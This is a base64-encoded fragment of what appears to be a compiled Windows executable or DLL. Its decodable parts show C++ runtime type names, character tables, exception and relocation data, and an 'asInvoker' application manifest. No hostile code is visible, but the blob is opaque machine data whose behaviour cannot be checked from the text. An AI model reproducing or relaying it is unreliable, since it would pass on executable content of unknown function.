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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABDAAAAAAAAAAAAAAAAAAAATDYBgAEAAABQNgGAAQAAAFQ2AYABAAAAWDYBgAEAAABcNgGAAQAAAGA2AYABAAAAZDYBgAEAAABoNgGAAQAAAHA2AYABAAAAeDYBgAEAAACANgGAAQAAAJA2AYABAAAAnDYBgAEAAACoNgGAAQAAALQ2AYABAAAAuDYBgAEAAAC8NgGAAQAAAMA2AYABAAAAxDYBgAEAAADINgGAAQAAAMw2AYABAAAA0DYBgAEAAADUNgGAAQAAANg2AYABAAAA3DYBgAEAAADgNgGAAQAAAOg2AYABAAAA8DYBgAEAAAD8NgGAAQAAAAQ3AYABAAAAxDYBgAEAAAAMNwGAAQAAABQ3AYABAAAAHDcBgAEAAAAoNwGAAQAAADg3AYABAAAAQDcBgAEAAABQNwGAAQAAAFw3AYABAAAAYDcBgAEAAABoNwGAAQAAAHg3AYABAAAAkDcBgAEAAAABAAAAAAAAAKA3AYABAAAAqDcBgAEAAACwNwGAAQAAALg3AYABAAAAwDcBgAEAAADINwGAAQAAANA3AYABAAAA2DcBgAEAAADoNwGAAQAAAPg3AYABAAAACDgBgAEAAAAgOAGAAQAAADg4AYABAAAASDgBgAEAAABgOAGAAQAAAGg4AYABAAAAcDgBgAEAAAB4OAGAAQAAAIA4AYABAAAAiDgBgAEAAACQOAGAAQAAAJg4AYABAAAAoDgBgA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AAAAAA0AAATAEAAICiiKKQoqiisKK4osCi2KLgouiiWKNoo3ijiKOYo6ijuKPIo9ij6KP4owikGKQopDikSKRYpGikeKSIpJikqKS4pMik2KTopPikCKUYpSilOKVIpVilaKV4pYilmKWopbilyKXYpeil+KUIphimKKY4pkimWKZopnimiKaYpqimuKbIptim6Kb4pginGKcopzinSKdYp2ineKeIp5inqKe4p8in2KfopwioGKgoqDioSKhYqGioeKiIqJioqKi4qMio2KjoqPioCKkYqSipOKlIqVipaKl4qYipmKmoqbipyKnYqeip+KkIqhiqKKo4qkiqWKpoqniqiKqYqqiquKrIqtiq6Kr4qgirGKsoqzirSKtYq2ireKuIq5irqKu4q8ir2Kvoq/irCKwYrCisOKxIrFisaKx4rIismKyorLisyKzYrADgAACUAAAAQKZIplCmWKZgpmimcKZ4poCmiKaQppimoKaoprCmuKbApsim0KbYpuCm6KbwpvimAKcIpxCnGKcgpyinMKdIp1CnWKdgp2incKd4p4CniKeQp5iniKiQqJiouKjAqPioCKkYqSipOKlIqVipaKl4qYipmKmoqbipyKnYqeip+KkIqhiqKKo4qkiqWKoA8AAAGAAAAHiogKiIqJCoqKiwqLiowKgAAAEAcAEAAMCk0KTgpPCkAKUQpSClMKVApVClYKVwpYClkKWgpbClwKXQpeCl8KUAphCmIKYwpkCmUKZgpnCmgKaQpqCmsKbAptCm4KbwpgCnEKcgpzCnQKdQp2CncKeAp5CnoKewp8Cn0Kfgp/CnAKgQqCCoMKhAqFCoYKhwqICokKigqLCowKjQqOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKogqjCqQKpQqmCqcKqAqpCqoKqwqsCq0KrgqvCqAKsQqyCrMKtAq1CrYKtwq4CrkKugq7CrwKvQq+Cr8KsArBCsIKwwrECsUKxgrHCsgKyQrKCssKzArNCs4KzwrACtEK0grTCtQK1QrWCtcK2ArZCtoK2wrcCt0K3grfCtAK4QriCuMK5ArlCuYK5wroCukK6grrCuwK7QruCu8K4ArxCvIK8wr0CvUK9gr3CvgK+Qr6CvsK/Ar9Cv4K/wrwAQAQAIAgAAAKAQoCCgMKBAoFCgYKBwoICgkKCgoLCgwKDQoOCg8KAAoRChIKEwoUChUKFgoXChgKGQoaChsKHAodCh4KHwoQCiEKIgojCiQKJQomCicKKAopCioKKwosCi0KLgovCiCKMYoyijOKNIo1ijaKN4o4ijmKOoo7ijyKPYo+ij+KMIpBikKKQ4pEikWKRopHikiKSYpKikuKTIpNik6KT4pAilGKUopTilSKVYpWileKWIpZilqKW4pcil2KXopfilCKYYpiimOKZIplimaKZ4poimmKaoprimyKbYpuim+KYIpxinKKc4p0inWKdop3iniKeYp6inuKfIp9in6Kf4pwioGKgoqDioSKhYqGioeKiIqJioqKi4qMio2KjoqPioCKkYqSipOKlIqVipaKl4qYipmKmoqbipyKnYqeip+KkIqhiqKKo4qkiqWKpoqniqiKqYqqiquKrIqtiq6Kr4qgirGKsoqzirSKtYq2ireKuIq5irqKu4q8ir2Kvoq/irCKwYrCisOKxIrFisaKx4rIismKyorLisyKzYrOis+KwIrRitKK04rUitWK1orXitiK2YraituK3Irdit6K34rQiuGK4orjiuSK5YrmiueK6IrpiuqK64rsiu2K7orviuCK8YryivOK9Ir1ivaK94r4ivmK+or7ivyK/Yr+iv+K8AIAEA9AAAAAigGKAooDigSKBYoGigeKCIoJigqKC4oMig2KDooPigCKEYoSihOKGgrKissKy4rMCsyKzQrNis4KzorPCs+KwArQitEK0YrSCtKK0wrTitQK1IrVCtWK1grWitcK14rYCtiK2QrZitoK2orbCtuK3Arcit0K3YreCt6K3wrfitAK4IrhCuGK4griiuMK44rkCuSK5QrliuYK5ornCueK6AroiukK6YrqCuqK6wrriuwK7IrtCu2K7gruiu8K74rgCvCK8QrxivIK8orzCvOK9Ar0ivUK9Yr2CvaK9wr3ivgK+Ir5CvmK+gr6ivAEABAAwAAADopQAAAHABAIAAAAAAoCigUKB4oKCg0KAQoRihAKNwpXilgKWIpZClmKWgpailsKW4pcinAKsQq9Cu2K7gruiu8K74rgCvCK8QrxivIK8orzCvOK9Ar0ivUK9Yr2CvaK9wr3ivgK+Ir5CvmK+gr6ivsK+4r8CvyK/Qr9iv4K/or/Cv+K8AgAEAvAAAAACgCKAQoBigIKAwoDigQKBIoFCgWKBgoGigcKB4oICgiKCQoJigoKCooLCguKDAoMig0KDYoOCg6KDwoPigAKEIoRChGKEgoSihMKE4oUChSKFQoVihYKFooXCheKGAoYihkKHYofihGKI4oliikKKoorCiuKLAogijEKMYoyCjKKMwozijQKNIo1CjWKNoo3CjeKOAo4ijkKOYo6CjqKOwo8Cj0KMIpECkcKSopLCkuKQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA